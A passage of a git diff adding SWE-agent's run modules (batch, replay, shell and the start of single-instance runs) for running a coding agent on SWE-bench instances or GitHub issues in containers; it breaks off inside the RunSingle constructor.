+ convert_traj_to_demo_main(remaining_args) + elif command == "run-api": + from sweagent.api.server import run_from_cli as run_api_main + + run_api_main(remaining_args) + elif command == "merge-preds": + from sweagent.run.merge_predictions import run_from_cli as merge_predictions_main + + merge_predictions_main(remaining_args) + elif command in ["inspector", "I"]: + from sweagent.inspector.server import run_from_cli as inspector_main + + inspector_main(remaining_args) + elif command in ["inspect", "i"]: + from sweagent.run.inspector_cli import main as inspect_main + + inspect_main(remaining_args) + elif command == "extract-pred": + from sweagent.run.extract_pred import run_from_cli as extract_pred_main + + extract_pred_main(remaining_args) + elif command in ["compare-runs", "cr"]: + from sweagent.run.compare_runs import run_from_cli as compare_runs_main + + compare_runs_main(remaining_args) + elif command in ["remove-unfinished", "ru"]: + from sweagent.run.remove_unfinished import run_from_cli as remove_unfinished_main + + remove_unfinished_main(remaining_args) + elif command in ["quick-stats", "qs"]: + from sweagent.run.quick_stats import run_from_cli as quick_stats_main + + quick_stats_main(remaining_args) + elif command in ["shell", "sh"]: + from sweagent.run.run_shell import run_from_cli as run_shell_main + + run_shell_main(remaining_args) + else: + msg = f"Unknown command: {command}" + raise ValueError(msg) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/sweagent/run/run_batch.py b/sweagent/run/run_batch.py new file mode 100644 index 0000000..bd1ffe9 --- /dev/null +++ b/sweagent/run/run_batch.py @@ -0,0 +1,442 @@ +""" +Run on a batch of instances/issues, e.g., SWE-bench. + +[cyan][bold]=== BASIC OPTIONS ===[/bold][/cyan] + + -h --help Show help text and exit + --help_option Print specific help text and exit + +[cyan][bold]=== EXAMPLES ===[/bold][/cyan] + +Basic usage: Run over a [bold][cyan]SWE-bench lite[/bold][/cyan][green]: + +sweagent run-batch \\ + --instances.type swe_bench \\ # configure instances + --instances.subset lite \\ + --instances.split dev \\ + --instances.slice :50 \\ # first 50 instances + --instances.shuffle=True \\ # shuffle instances (with fixed seed) + --config config/default.yaml \\ + --agent.model.name gpt-4o # configure model +[/green] + +[cyan][bold]=== LOADING INSTANCES ===[/bold][/cyan] + +[cyan][bold]From a file[/bold][/cyan] [green]--instances.type file --instances.path /path/to/file[/green]. +[cyan][bold]From huggingface[/bold][/cyan] [green]--instances.type huggingface --instances.dataset_name=SWE_Bench_lite --instances.split=dev[/green]. + +All instance specifications support the [green]filter[/green], [green]slice[/green], and [green]shuffle[/green] options. +With [green]filter[/green], you can select specific instances, e.g., [green]--instances.filter='instance_id_1|instance_id_2'[/green]. +""" + +import getpass +import json +import logging +import random +import sys +import time +import traceback +from concurrent.futures import ThreadPoolExecutor, as_completed +from contextlib import ExitStack +from pathlib import Path +from typing import Self + +import yaml +from pydantic import Field, model_validator +from pydantic_settings import BaseSettings, SettingsConfigDict +from rich.live import Live +from swerex.deployment.hooks.status import SetStatusDeploymentHook + +from sweagent import TRAJECTORY_DIR +from sweagent.agent.agents import AgentConfig, get_agent_from_config +from sweagent.agent.hooks.status import SetStatusAgentHook +from sweagent.environment.hooks.status import SetStatusEnvironmentHook +from sweagent.environment.swe_env import SWEEnv +from sweagent.exceptions import ModelConfigurationError, TotalCostLimitExceededError +from sweagent.run._progress import RunBatchProgressManager +from sweagent.run.batch_instances import BatchInstance, BatchInstanceSourceConfig, SWEBenchInstances +from sweagent.run.common import BasicCLI, ConfigHelper, save_predictions +from sweagent.run.hooks.abstract import CombinedRunHooks, RunHook +from sweagent.run.hooks.apply_patch import SaveApplyPatchHook +from sweagent.run.merge_predictions import merge_predictions +from sweagent.run.run_single import RunSingleConfig +from sweagent.types import AgentRunResult +from sweagent.utils.config import load_environment_variables +from sweagent.utils.log import ( + add_file_handler, + add_logger_names_to_stream_handlers, + get_logger, + register_thread_name, + remove_file_handler, + set_stream_handler_levels, +) + + +class RunBatchConfig(BaseSettings, cli_implicit_flags=False): + instances: BatchInstanceSourceConfig = Field(description="Instances to run.") + agent: AgentConfig = Field(description="Agent options.") + output_dir: Path = Field(default=Path("DEFAULT"), description="Output directory.") + suffix: str = "" + """Suffix to add to the output directory. Only used if `output_dir` is `DEFAULT`.""" + raise_exceptions: bool = False + """Raise exceptions instead of skipping instances.""" + redo_existing: bool = False + """Do not skip instances that already have a trajectory.""" + env_var_path: Path | None = None + """Path to a .env file to load environment variables from.""" + num_workers: int = Field(default=1) + """Number of parallel workers to use.""" + random_delay_multiplier: float = 0.3 + """We will wait for a random amount of time between 0 and `random_delay_multiplier` + times the number of workers at the start of each instance. This is to avoid any + potential race condition or issues with bottlenecks, e.g., when running on a platform + with few CPUs that cannot handle the startup of all containers in time. + """ + progress_bar: bool = True + """Whether to show a progress bar. Progress bar is never shown for human models. + Progress bar is always shown for multi-worker runs. + """ + + # pydantic config + model_config = SettingsConfigDict(extra="forbid", env_prefix="SWE_AGENT_") + + def set_default_output_dir(self) -> None: + # Needs to be called explicitly, because self._config_files will be setup + # post-init. + if self.output_dir == Path("DEFAULT"): + user_id = getpass.getuser() + source_id = self.instances.id + try: + model_id = self.agent.model.id # type: ignore[attr-defined] + except AttributeError: + model_id = "unknown" + config_file = getattr(self, "_config_files", ["no_config"])[0] + if config_file != "no_config": + config_file = Path(config_file).stem + suffix = f"__{self.suffix}" if self.suffix else "" + self.output_dir = TRAJECTORY_DIR / user_id / f"{config_file}__{model_id}___{source_id}{suffix}" + + @model_validator(mode="after") + def evaluate_and_redo_existing(self) -> Self: + if not isinstance(self.instances, SWEBenchInstances): + return self + if self.instances.evaluate and self.redo_existing: + msg = ( + "Cannot evaluate and redo existing at the same time. This would cause invalid results, because " + "after the first merge_preds gives you a preds.json, this file would be submitted to SB-CLI, causing" + "evaluation of old instances, which could then not be overwritten by the new ones." + ) + raise ValueError(msg) + return self + + +class _BreakLoop(Exception): + """Used for internal control flow""" + + +class RunBatch: + def __init__( + self, + instances: list[BatchInstance], + agent_config: AgentConfig, + *, + output_dir: Path = Path("."), + hooks: list[RunHook] | None = None, + raise_exceptions: bool = False, + redo_existing: bool = False, + num_workers: int = 1, + progress_bar: bool = True, + random_delay_multiplier: float = 0.3, + ): + """Note: When initializing this class, make sure to add the hooks that are required by your actions. + See `from_config` for an example. + + Args: + hooks: If not specified, the default hooks will be used. + num_workers: Number of parallel workers to use. Default is 1 (sequential execution). + progress_bar: Whether to show a progress bar. Progress bar is never shown for human models. + Progress bar is always shown for multi-worker runs. + random_delay_multiplier: We will wait for a random amount of time between 0 and `random_delay_multiplier` + times the number of workers at the start of each instance. This is to avoid any + potential race conditions. + """ + if self._model_id in ["human", "human_thought"] and num_workers > 1: + msg = "Cannot run with human model in parallel" + raise ValueError(msg) + + self.logger = get_logger("swea-run", emoji="🏃") + add_file_handler( + output_dir / "run_batch.log", + id_="progress", + filter=lambda name: "swea-run" in name or "config" in name, + ) + self.instances = instances + self.agent_config = agent_config + self.output_dir = output_dir + self._raise_exceptions = raise_exceptions + self._chooks = CombinedRunHooks() + self._redo_existing = redo_existing + self._num_workers = min(num_workers, len(instances)) + for hook in hooks or [SaveApplyPatchHook(show_success_message=False)]: + self.add_hook(hook) + self._progress_manager = RunBatchProgressManager( + num_instances=len(instances), yaml_report_path=output_dir / "run_batch_exit_statuses.yaml" + ) + self._show_progress_bar = progress_bar + self._random_delay_multiplier = random_delay_multiplier + + @property + def _model_id(self) -> str: + try: + return self.agent_config.model.id # type: ignore[attr-defined] + except AttributeError: + return "unknown" + + @classmethod + def from_config(cls, config: RunBatchConfig) -> Self: + load_environment_variables(config.env_var_path) + config.set_default_output_dir() + config.output_dir.mkdir(parents=True, exist_ok=True) + (config.output_dir / "run_batch.config.yaml").write_text(yaml.dump(config.model_dump_json(), indent=2)) + logger = get_logger("run", emoji="🏃") + logger.debug("Loading instances from %s", f"{config.instances!r}") + instances = config.instances.get_instance_configs() + logger.info("Loaded %d instances", len(instances)) + if not instances: + msg = ( + "No instances to run. Here are a few things to check:\n" + "- With huggingface data: Check that you have the right split (test or dev)\n" + "- Check your filter does not exclude all instances (check the info log messages)" + ) + raise ValueError(msg) + logger.debug("The first instance is %s", f"{instances[0]!r}") + rb = cls( + instances=instances, + agent_config=config.agent, + output_dir=config.output_dir, + raise_exceptions=config.raise_exceptions, + redo_existing=config.redo_existing, + num_workers=config.num_workers, + progress_bar=config.progress_bar, + random_delay_multiplier=config.random_delay_multiplier, + ) + if isinstance(config.instances, SWEBenchInstances) and config.instances.evaluate: + from sweagent.run.hooks.swe_bench_evaluate import SweBenchEvaluate + + rb.add_hook( + SweBenchEvaluate( + output_dir=config.output_dir, + subset=config.instances.subset, + split=config.instances.split, + continuous_submission_every=30, + ) + ) + return rb + + def add_hook(self, hook: RunHook) -> None: + hook.on_init(run=self) + self._chooks.add_hook(hook) + + def main(self) -> None: + self.logger.info("Starting run. Find output files at %s", self.output_dir) + self._chooks.on_start() + + if self._num_workers <= 1: + self.main_single_worker() + else: + self.main_multi_worker() + + output_dirs = [] + for instance in self.instances: + output_dirs.append(self.output_dir / instance.problem_statement.id) + merge_predictions(output_dirs, self.output_dir / "preds.json") + + self._chooks.on_end() + + def main_single_worker(self) -> None: + with ExitStack() as stack: + # Conditionally add progress bar + if self._model_id not in ["human", "human_thought"] and self._show_progress_bar: + stack.enter_context(Live(self._progress_manager.render_group)) + for instance in self.instances: + try: + self.run_instance(instance) + except _BreakLoop: + self.logger.info("Stopping loop over instances") + break + + def main_multi_worker(self) -> None: + add_logger_names_to_stream_handlers() + # Set all stream handlers to WARNING and set everything where we want to have + # more verbosity explicitly + set_stream_handler_levels(logging.WARNING) + self.logger.setLevel(logging.TRACE) # type: ignore + + with Live(self._progress_manager.render_group): + with ThreadPoolExecutor(max_workers=self._num_workers) as executor: + futures = [executor.submit(self.run_instance, instance) for instance in self.instances] + try: + for future in as_completed(futures): + future.result() + except (KeyboardInterrupt, _BreakLoop): + msg = ( + "Received keyboard interrupt, waiting for running instances " + "to finish, but cancelled everything else" + ) + self.logger.info(msg) + executor.shutdown(wait=False, cancel_futures=True) + finally: + self._progress_manager.print_report() + + def run_instance(self, instance: BatchInstance) -> None: + self.logger.info("Running on instance %s", instance.problem_statement.id) + register_thread_name(instance.problem_statement.id) + self._add_instance_log_file_handlers(instance.problem_statement.id, multi_worker=self._num_workers > 1) + # Let's add some randomness to avoid any potential race conditions or thundering herd + if self._progress_manager.n_completed < self._num_workers: + time.sleep(random.random() * self._random_delay_multiplier * (self._num_workers - 1)) + + self._progress_manager.on_instance_start(instance.problem_statement.id) + + if previous_exit_status := self.should_skip(instance): + self._progress_manager.on_instance_end( + instance.problem_statement.id, exit_status=f"skipped ({previous_exit_status})" + ) + self._remove_instance_log_file_handlers(instance.problem_statement.id) + return + + # Either catch and silence exception, or raise _BreakLoop to stop the loop + # over the instances + try: + result = self._run_instance(instance) + except KeyboardInterrupt: + raise _BreakLoop + except (SystemExit, ModelConfigurationError, TotalCostLimitExceededError) as e: + if self._raise_exceptions: + raise + self.logger.critical(f"❌ Exiting because {e.__class__.__name__} was called") + raise _BreakLoop + except Exception as e: + self.logger.error(traceback.format_exc()) + self.logger.error(f"❌ Failed on {instance.problem_statement.id}: {e}") + self._progress_manager.on_uncaught_exception(instance.problem_statement.id, e) + if self._raise_exceptions: + raise + else: + self._progress_manager.on_instance_end( + instance.problem_statement.id, exit_status=result.info.get("exit_status", "unknown_exit") + ) + finally: + self._progress_manager.update_exit_status_table() + self._remove_instance_log_file_handlers(instance.problem_statement.id) + + def _run_instance(self, instance: BatchInstance) -> AgentRunResult: + output_dir = Path(self.output_dir) / instance.problem_statement.id + output_dir.mkdir(parents=True, exist_ok=True) + self.agent_config.name = f"{instance.problem_statement.id}" + agent = get_agent_from_config(self.agent_config) + single_run_replay_config = RunSingleConfig( + agent=self.agent_config, + problem_statement=instance.problem_statement, + env=instance.env, + ) + (output_dir / f"{instance.problem_statement.id}.config.yaml").write_text( + yaml.dump(single_run_replay_config.model_dump_json(), indent=2) + ) + agent.replay_config = single_run_replay_config # type: ignore[attr-defined] + agent.add_hook(SetStatusAgentHook(instance.problem_statement.id, self._progress_manager.update_instance_status)) + self._progress_manager.update_instance_status(instance.problem_statement.id, "Starting environment") + instance.env.name = f"{instance.problem_statement.id}" + env = SWEEnv.from_config(instance.env) + env.add_hook( + SetStatusEnvironmentHook(instance.problem_statement.id, self._progress_manager.update_instance_status) + ) + env.deployment.add_hook( + SetStatusDeploymentHook(instance.problem_statement.id, self._progress_manager.update_instance_status) + ) + try: + env.start() + self._chooks.on_instance_start(index=0, env=env, problem_statement=instance.problem_statement) + result = agent.run( + problem_statement=instance.problem_statement, + env=env, + output_dir=output_dir, + ) + except Exception: + # The actual handling is happening in `run_instance`, but we need to make sure that + # we log it to the agent specific logger as well + agent.logger.error(traceback.format_exc()) # type: ignore[attr-defined] + raise + finally: + env.close() + save_predictions(self.output_dir, instance.problem_statement.id, result) + self._chooks.on_instance_completed(result=result) + return result + + def should_skip(self, instance: BatchInstance) -> bool | str: + """Check if we should skip this instance. + Returns previous exit status if the instance should be skipped. + """ + if self._redo_existing: + return False + + # Check if there's an existing trajectory for this instance + log_path = self.output_dir / instance.problem_statement.id / (instance.problem_statement.id + ".traj") + if not log_path.exists(): + return False + + content = log_path.read_text() + if not content.strip(): + self.logger.warning("Found empty trajectory: %s. Removing.", log_path) + log_path.unlink() + return False + + try: + data = json.loads(content) + # If the trajectory has no exit status, it's incomplete and we will redo it + exit_status = data["info"].get("exit_status", None) + if exit_status == "early_exit" or exit_status is None: + self.logger.warning(f"Found existing trajectory with no exit status: {log_path}. Removing.") + log_path.unlink() + return False + except Exception as e: + self.logger.error(f"Failed to check existing trajectory: {log_path}: {e}. Removing.") + # If we can't check the trajectory, we will redo it + log_path.unlink() + return False + # otherwise, we will skip it + self.logger.info(f"⏭️ Skipping existing trajectory: {log_path}") + return exit_status + + def _add_instance_log_file_handlers(self, instance_id: str, multi_worker: bool = False) -> None: + filename_template = f"{instance_id}.{{level}}.log" + for level in ["trace", "debug", "info"]: + filter = instance_id if multi_worker else "" + add_file_handler( + self.output_dir / instance_id / filename_template.format(level=level), + filter=filter, + level=level, + id_=f"{instance_id}-{level}", + ) + + def _remove_instance_log_file_handlers(self, instance_id: str) -> None: + for level in ["trace", "debug", "info"]: + remove_file_handler(f"{instance_id}-{level}") + + +def run_from_config(config: RunBatchConfig): + RunBatch.from_config(config).main() + + +def run_from_cli(args: list[str] | None = None): + if args is None: + args = sys.argv[1:] + assert __doc__ is not None + help_text = ( # type: ignore + __doc__ + "\n[cyan][bold]=== ALL THE OPTIONS ===[/bold][/cyan]\n\n" + ConfigHelper().get_help(RunBatchConfig) + ) + run_from_config(BasicCLI(RunBatchConfig, help_text=help_text).get_config(args)) # type: ignore + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/run_replay.py b/sweagent/run/run_replay.py new file mode 100644 index 0000000..3d927d8 --- /dev/null +++ b/sweagent/run/run_replay.py @@ -0,0 +1,219 @@ +"""[cyan][bold]Replay a trajectory file.[/bold][/cyan] + +[cyan][bold]=== DESCRIPTION ===[/bold][/cyan] + +We will take all actions in the trajectory and execute them in an environment. + +This has two main use cases: + +1. Create a demo from a yaml file containing actions (can also be created from a trajectory file with [green]sweagent run traj-to-demo[/green]). + [green]run-replay[/green] will execute the actions to get the environment output and produce a full trajectory to be used as a demo. +2. Debugging and testing of tools and environment behavior. + +[cyan][bold]=== EXAMPLES ===[/bold][/cyan] + +Replay a trajectory file: + +[green]sweagent run replay --traj_path mytraj.traj[/green] + +Replay a demo file: + +[green]sweagent run replay --traj_path mydemo.demo.yaml[/green] +""" + +import json +import sys +import tempfile +from getpass import getuser +from pathlib import Path +from typing import Any + +import yaml +from pydantic_settings import BaseSettings, SettingsConfigDict +from swerex.deployment.abstract import AbstractDeployment +from swerex.deployment.config import DeploymentConfig, get_deployment +from typing_extensions import Self + +from sweagent.agent.agents import DefaultAgent +from sweagent.agent.models import ReplayModelConfig +from sweagent.environment.swe_env import SWEEnv +from sweagent.run.common import BasicCLI, ConfigHelper +from sweagent.run.run_single import RunSingle, RunSingleConfig +from sweagent.utils.config import load_environment_variables +from sweagent.utils.log import get_logger + + +class RunReplayConfig(BaseSettings, cli_implicit_flags=False): + traj_path: Path + deployment: DeploymentConfig | None = None + """Override the deployment in the trajectory.""" + output_dir: Path = Path("DEFAULT") + env_var_path: Path | None = None + """Path to a .env file to load environment variables from.""" + update_config: list[Path] = [] + """Additional config files to merge with the replay config.""" + + # pydantic config + model_config = SettingsConfigDict(extra="forbid", env_prefix="SWE_AGENT_") + + def model_post_init(self, __context: Any) -> None: + if self.output_dir == Path("DEFAULT"): + user_id = getuser() + self.output_dir = Path.cwd() / "trajectories" / user_id / f"replay___{self.traj_path.stem}" + self.output_dir.mkdir(parents=True, exist_ok=True) + + +class RunReplay: + def __init__( + self, + *, + traj_path: Path, + deployment: AbstractDeployment | None, + output_dir: Path, + update_config: list[Path] | None = None, + _catch_errors: bool = False, + _require_zero_exit_code: bool = False, + ): + self.traj_path = traj_path + self.output_dir = output_dir + self._replay_action_trajs_path = Path(tempfile.NamedTemporaryFile(suffix=".json").name) + self.logger = get_logger("swea-run", emoji="🏃") + self._catch_errors = _catch_errors + self._require_zero_exit_code = _require_zero_exit_code + self._update_config = update_config if update_config is not None else [] + + if traj_path.suffix == ".yaml": + self._traj_data = yaml.safe_load(traj_path.read_text()) + else: + self._traj_data = json.loads(traj_path.read_text()) + self.config = self._get_config_from_agent(self._traj_data) + + if deployment is None: + self.deployment = get_deployment(self.config.env.deployment) + else: + self.deployment = deployment + + def _get_config_from_agent(self, traj_data): + try: + if isinstance(traj_data["replay_config"], str): + traj_data["replay_config"] = json.loads(traj_data["replay_config"]) + config = RunSingleConfig.model_validate(traj_data["replay_config"]) + except KeyError: + msg = "Replay config not found in trajectory. Are you running on an old trajectory?" + raise ValueError(msg) + + # Merge any additional config files + for config_path in self._update_config: + update_data = yaml.safe_load(config_path.read_text()) + # Store the current model config before merging + current_model = config.agent.model + # Convert the merged data back to a RunSingleConfig + config_dict = config.model_dump(mode="json") + merged_dict = config_dict | update_data + + # Ensure agent.model is preserved if not explicitly updated + if "agent" in merged_dict and "model" not in merged_dict["agent"]: + merged_dict["agent"]["model"] = current_model.model_dump(mode="json") + + config = RunSingleConfig.model_validate(merged_dict) + + config.agent.model = ReplayModelConfig(replay_path=self._replay_action_trajs_path) + return config + + @property + def instance_id(self) -> str: + return Path(self.traj_path).stem + + @classmethod + def from_config(cls, config: RunReplayConfig, **kwargs) -> Self: + load_environment_variables(config.env_var_path) + return cls( + traj_path=config.traj_path, + deployment=get_deployment(config.deployment) if config.deployment else None, + output_dir=config.output_dir, + update_config=config.update_config, + **kwargs, + ) + + def _create_actions_file(self) -> None: + # Verify config compatibility with tool calls + has_tool_calls = any( + "tool_calls" in item and item["tool_calls"] is not None + for item in self._traj_data["history"] + if item["role"] == "assistant" + ) + + agent_config = self.config.agent + parse_function = agent_config.tools.parse_function.type + use_function_calling = parse_function == "function_calling" + + if has_tool_calls and not use_function_calling: + msg = ( + "Trajectory contains tool calls but config is not set up for function calling. " + "Check that the config you want to use has agent.tools.parse_function.type set to 'function_calling'." + ) + raise ValueError(msg) + actions = [] + for ix, item in enumerate(self._traj_data["history"]): + if item["role"] != "assistant": + continue + action = {"message": item["content"]} + if use_function_calling: + assert "tool_calls" in item and item["tool_calls"] is not None, ( + f"Config is set to use `function_calling` but trajectory item {ix} is missing a tool call " + f"or has tool_calls set to None" + ) + action["tool_calls"] = item["tool_calls"] + actions.append(action) + if len(actions) == 0: + msg = "No actions found in trajectory" + raise ValueError(msg) + self._replay_action_trajs_path.write_text(json.dumps({self.instance_id: actions})) + + def _get_env(self) -> SWEEnv: + return SWEEnv( + deployment=self.deployment, + repo=self.config.env.repo, + post_startup_commands=[], + ) + + def _get_agent(self) -> DefaultAgent: + agent = DefaultAgent.from_config(self.config.agent) + agent._catch_errors = self._catch_errors + agent._always_require_zero_exit_code = self._require_zero_exit_code + return agent + + def _get_run_single(self) -> RunSingle: + return RunSingle( + self._get_env(), + self._get_agent(), + problem_statement=self.config.problem_statement, + output_dir=Path(self.output_dir), + ) + + def main(self): + self._create_actions_file() + run_single = self._get_run_single() + run_single.agent.replay_config = RunSingleConfig( + agent=self.config.agent, + problem_statement=run_single.problem_statement, + env=self.config.env, + ) + run_single.run() + + +def run_from_config(config: RunReplayConfig): + RunReplay.from_config(config).main() + + +def run_from_cli(args: list[str] | None = None): + if args is None: + args = sys.argv[1:] + help_text = ( # type: ignore + __doc__ + "\n[cyan][bold]=== ALL THE OPTIONS ===[/bold][/cyan]\n\n" + ConfigHelper().get_help(RunReplayConfig) + ) + run_from_config(BasicCLI(RunReplayConfig, help_text=help_text, default_settings=False).get_config(args)) # type: ignore + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/run_shell.py b/sweagent/run/run_shell.py new file mode 100644 index 0000000..e837390 --- /dev/null +++ b/sweagent/run/run_shell.py @@ -0,0 +1,155 @@ +"""[cyan][bold]Run SWE-agent in semi-interactive mode.[/bold][/cyan] + +[cyan][bold]sweagen-sh is EXPERIMENTAL[/bold][/cyan] + +[cyan][bold]=== BASIC OPTIONS ===[/bold][/cyan] + + -h --help Show help text and exit + --help_option Print specific help text and exit + --config CONFIG Load additional config files. Use this option multiple times to load + multiple files, e.g., --config config1.yaml --config config2.yaml + +""" + +import argparse +import logging +from pathlib import Path + +import yaml +from rich.prompt import Prompt +from swerex.deployment.config import DockerDeploymentConfig + +from sweagent import CONFIG_DIR +from sweagent.agent.agents import AbstractAgent, ShellAgentConfig +from sweagent.agent.extra.shell_agent import ShellAgent +from sweagent.agent.problem_statement import ( + GithubIssue, + ProblemStatement, + ProblemStatementConfig, + TextProblemStatement, +) +from sweagent.environment.repo import PreExistingRepoConfig +from sweagent.environment.swe_env import EnvironmentConfig, SWEEnv +from sweagent.run.common import save_predictions +from sweagent.run.hooks.abstract import CombinedRunHooks, RunHook +from sweagent.utils.config import load_environment_variables +from sweagent.utils.github import _is_github_issue_url +from sweagent.utils.log import add_file_handler, get_logger, set_stream_handler_levels + + +class RunShell: + def __init__( + self, + env: SWEEnv, + agent: AbstractAgent, + problem_statement: ProblemStatement | ProblemStatementConfig, + *, + output_dir: Path = Path("."), + hooks: list[RunHook] | None = None, + ): + """Note: When initializing this class, make sure to add the hooks that are required by your actions. + See `from_config` for an example. + """ + self.logger = get_logger("swea-run", emoji="🏃") + instance_id = problem_statement.id + _log_filename_template = f"{instance_id}.{{level}}.log" + for level in ["trace", "debug", "info"]: + add_file_handler( + output_dir / instance_id / _log_filename_template.format(level=level), + level=level, + id_=f"{instance_id}-{level}", + ) + self.env = env + self.agent = agent + self.output_dir = output_dir + self._hooks = [] + self._chooks = CombinedRunHooks() + self.problem_statement = problem_statement + for hook in hooks or []: + self.add_hook(hook) + + @property + def hooks(self) -> list[RunHook]: + return self._chooks.hooks + + def add_hook(self, hook: RunHook) -> None: + hook.on_init(run=self) + self._chooks.add_hook(hook) + + def run(self): + self._chooks.on_start() + self.logger.info("Starting environment") + self.env.start() + self.logger.info("Running agent") + self._chooks.on_instance_start(index=0, env=self.env, problem_statement=self.problem_statement) + output_dir = self.output_dir / self.problem_statement.id + output_dir.mkdir(parents=True, exist_ok=True) + result = self.agent.run( + problem_statement=self.problem_statement, + env=self.env, + output_dir=output_dir, + ) + self._chooks.on_instance_completed(result=result) + self.logger.info("Done") + self._chooks.on_end() + save_predictions(self.output_dir, self.problem_statement.id, result) + self.env.close() + + +def get_cli(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("-r", "--repo", type=Path, help="Path to the repository.", default=None) + # parser.add_argument(dest="--model", type=str, help="Model to use.", default="claude-sonnet-4-20250514") + parser.add_argument( + "--config", + type=Path, + help="Path to the agent config file.", + default=CONFIG_DIR / "exotic" / "default_shell.yaml", + ) + parser.add_argument( + "-p", + type=str, + help="Problem statement.", + default="", + ) + return parser + + +def run_from_cli(args: list[str] | None = None): + set_stream_handler_levels(logging.INFO) + cli_args = get_cli().parse_args(args) + try: + load_environment_variables(Path(".env")) + except FileNotFoundError: + print("Env file .env not found, please set API key as env variables.") + env_config = EnvironmentConfig( + repo=PreExistingRepoConfig(repo_name="repo", reset=False), + deployment=DockerDeploymentConfig( + image="python:3.11", + docker_args=[ + "-v", + f"{cli_args.repo}:/repo", + ], + python_standalone_dir="/root", + ), + ) + agent_config = ShellAgentConfig.model_validate(yaml.safe_load(cli_args.config.read_text())["agent"]) + agent = ShellAgent.from_config(agent_config) + env = SWEEnv.from_config(env_config) + if cli_args.repo is None: + cli_args.repo = Path(Prompt.ask("[cyan]Repository path[/cyan]", default="", show_default=False)) + problem_input = cli_args.p + if not problem_input: + problem_input = Prompt.ask("[cyan]Problem statement or GitHub issue URL[/cyan]", default="", show_default=False) + if _is_github_issue_url(problem_input): + problem_statement = GithubIssue(github_url=problem_input) + else: + problem_statement = TextProblemStatement( + text=problem_input, + ) + run_shell = RunShell(env, agent, problem_statement=problem_statement, output_dir=Path.home() / "sweagent_shell") + run_shell.run() + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/run_single.py b/sweagent/run/run_single.py new file mode 100644 index 0000000..1c3209a --- /dev/null +++ b/sweagent/run/run_single.py @@ -0,0 +1,225 @@ +"""[cyan][bold]Run SWE-agent on a single instance taken from github or similar.[/bold][/cyan] + +[cyan][bold]=== BASIC OPTIONS ===[/bold][/cyan] + + -h --help Show help text and exit + --help_option Print specific help text and exit + --config CONFIG Load additional config files. Use this option multiple times to load + multiple files, e.g., --config config1.yaml --config config2.yaml + +[cyan][bold]=== EXAMPLES ===[/bold][/cyan] + +Basic usage: Run over a [bold][cyan]github issue[/bold][/cyan][green]: + +sweagent run --config config/default.yaml --agent.model.name "gpt-4o" \\ + --env.repo.github_url=https://github.com/SWE-agent/test-repo/ \\ + --problem_statement.github_url=https://github.com/SWE-agent/test-repo/issues/1 +[/green] + +By default this will start a docker container and run the agent in there. +You can set the image with [green]--env.docker.image[/green]. + +Here's an example that uses [bold][cyan]modal[/bold][/cyan] instead of docker and also a [bold][cyan]local repository[/bold][/cyan]: + +[green]sweagent run --config config/default.yaml --agent.model.name "gpt-4o" \\ + --env.deployment.type=modal --env.repo.path /path/to/repo \\ + --problem_statement.path=path/to/problem_statement.md +[/green] +""" + +import getpass +import sys +from pathlib import Path +from typing import Self + +import yaml +from pydantic import BaseModel, ConfigDict, Field +from pydantic_settings import BaseSettings, SettingsConfigDict + +from sweagent.agent.agents import AbstractAgent, AgentConfig, get_agent_from_config +from sweagent.agent.problem_statement import ( + EmptyProblemStatement, + ProblemStatement, + ProblemStatementConfig, +) +from sweagent.environment.swe_env import EnvironmentConfig, SWEEnv +from sweagent.run.common import AutoCorrectSuggestion as ACS +from sweagent.run.common import BasicCLI, ConfigHelper, save_predictions +from sweagent.run.hooks.abstract import CombinedRunHooks, RunHook +from sweagent.run.hooks.apply_patch import SaveApplyPatchHook +from sweagent.run.hooks.open_pr import OpenPRConfig, OpenPRHook +from sweagent.utils.config import load_environment_variables +from sweagent.utils.log import add_file_handler, get_logger + + +class RunSingleActionConfig(BaseModel): + """Run real-life actions (opening PRs, etc.) if we can solve the issue.""" + + # Open a PR with the patch if we can solve the issue + open_pr: bool = False + pr_config: OpenPRConfig = Field(default_factory=OpenPRConfig) + # When working with local repository: Apply patch + apply_patch_locally: bool = False + + # pydantic config + model_config = ConfigDict(extra="forbid") + + +def _get_default_output_dir(output_dir: Path, problem_statement: ProblemStatement, agent: AgentConfig) -> Path: + if output_dir == Path("DEFAULT"): + user_id = getpass.getuser() + problem_id = problem_statement.id + try: + model_id = agent.model.id # type: ignore[attr-defined] + except AttributeError: + model_id = "unknown_model" + config_file = getattr(agent, "_config_files", ["no_config"])[0] + if isinstance(config_file, Path): + config_file = config_file.stem + return Path.cwd() / "trajectories" / user_id / f"{config_file}__{model_id}___{problem_id}" + return output_dir + + +class RunSingleConfig(BaseSettings, cli_implicit_flags=False): + env: EnvironmentConfig = Field(default_factory=EnvironmentConfig, description="Environment options.") + agent: AgentConfig = Field(description="Agent options.") + problem_statement: ProblemStatementConfig = Field( + default_factory=EmptyProblemStatement, description="Problem statement options." + ) + output_dir: Path = Field(default=Path("DEFAULT"), description="Output directory.") + + actions: RunSingleActionConfig = Field(default_factory=RunSingleActionConfig) + + env_var_path: Path | None = None + """Path to a .env file to load environment variables from.""" + + # pydantic config + model_config = SettingsConfigDict(extra="forbid", env_prefix="SWE_AGENT_") + + def set_default_output_dir(self) -> None: + # Needs to be called explicitly, because self._config_files will be setup + # post-init. + self.output_dir = _get_default_output_dir(self.output_dir, self.problem_statement, self.agent) + + @classmethod + def _get_auto_correct(cls) -> list[ACS]: + return [ + ACS("model", "agent.model.name"), + ACS("agent.model", "agent.model.name"), + ACS("model.name", "agent.model.name"), + ACS("per_instance_cost_limit", "agent.model.per_instance_cost_limit"), + ACS("model.per_instance_cost_limit", "agent.model.per_instance_cost_limit"), + ACS("config_file", "config"), + ACS( + "data_path", + help="--data_path is no longer support for SWE-A 1.0. Please check the tutorial and use one of the --problem_statement options, e.g., --problem_statement.github_url or --problem_statement.path", + ), + ACS( + "repo_path", + help="--repo_path is no longer support for SWE-A 1.0. Please check the tutorial and use one of the --env.repo options, e.g., --env.repo.github_url or --env.repo.path", + ), + ACS("repo.path", "env.repo.path"), + ] + + +class RunSingle: + def __init__( + self, + env: SWEEnv, + agent: AbstractAgent, + problem_statement: ProblemStatement | ProblemStatementConfig, + *, + output_dir: Path = Path("."), + hooks: list[RunHook] | None = None, + actions: RunSingleActionConfig | None = None, + ): + """Note: When initializing this class, make sure to add the hooks that are required by your actions. + See `from_config` for an example. + """ + self.logger = get_logger("swea-run", emoji="🏃") + instance_id = problem_statement.id + 